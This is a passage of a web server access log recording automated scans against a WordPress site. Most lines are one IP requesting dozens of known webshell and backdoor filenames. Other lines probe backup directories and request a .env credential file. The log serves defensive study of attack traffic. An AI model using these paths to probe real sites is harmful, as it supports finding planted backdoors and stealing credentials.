"-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:49 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:50 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:51 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:52 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:53 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:54 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:57 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:57 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:59 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:00 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:02 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:03 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:05 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:06 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:07 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:08 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:09 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:10 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:12 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:14 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:16 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:18 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:19 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:21 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:23 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:24 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:26 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:28 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:30 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:32 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:33 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:35 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:36 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:38 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:38 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:39 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:42 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:45 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:46 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:48 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:50 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:51 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:53 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:54 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:54 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:55 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:56 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:57 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:58 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:41:59 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:00 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:01 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:02 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:03 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:03 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:04 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:04 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:05 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:06 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:08 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:10 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:13 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:15 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:16 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:16 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:17 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:19 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:20 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:22 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:23 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:23 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:24 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:26 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:27 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:27 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:29 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:29 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:30 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:31 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:32 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:33 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:33 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:35 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:36 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:37 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:38 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:40 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:41 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:42 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:43 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:43 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:44 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:46 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:46 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:47 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:48 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:48 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:49 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:50 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:50 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:51 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:52 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:52 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:53 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:53 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:54 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:56 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:56 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:57 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:58 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:42:59 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:00 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:00 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:01 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:02 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:03 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:03 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:05 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:06 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:07 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:08 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:09 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:10 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:10 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:11 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:12 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:12 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:13 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:14 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:14 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:15 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:15 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:16 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:17 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:17 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:19 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:19 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:20 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:20 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:21 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:22 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:23 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:24 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:25 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:25 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:26 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:27 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:27 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:28 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:29 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:29 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:30 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:31 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:31 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:32 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:32 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:33 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:33 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:34 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:34 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:35 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 51.222.253.5 - - [13/Apr/2025:09:43:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 40.69.222.47 - - [13/Apr/2025:09:43:36 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:37 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:37 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:38 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:38 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:39 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:40 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:41 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:42 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:43 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:43 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:44 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:45 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:46 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:46 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:47 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:47 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:48 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:48 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:49 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:50 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:50 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:51 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:52 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:52 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:53 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:53 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:54 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:54 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:55 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:55 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:56 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:57 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:43:57 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 114.119.149.171 - - [13/Apr/2025:09:46:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 20.14.154.215 - - [13/Apr/2025:09:55:05 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:07 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:10 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:12 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:16 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:20 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:25 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:27 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:28 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:09:55:29 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.234.205 - - [13/Apr/2025:09:55:44 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 54.236.1.13 - - [13/Apr/2025:10:18:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; 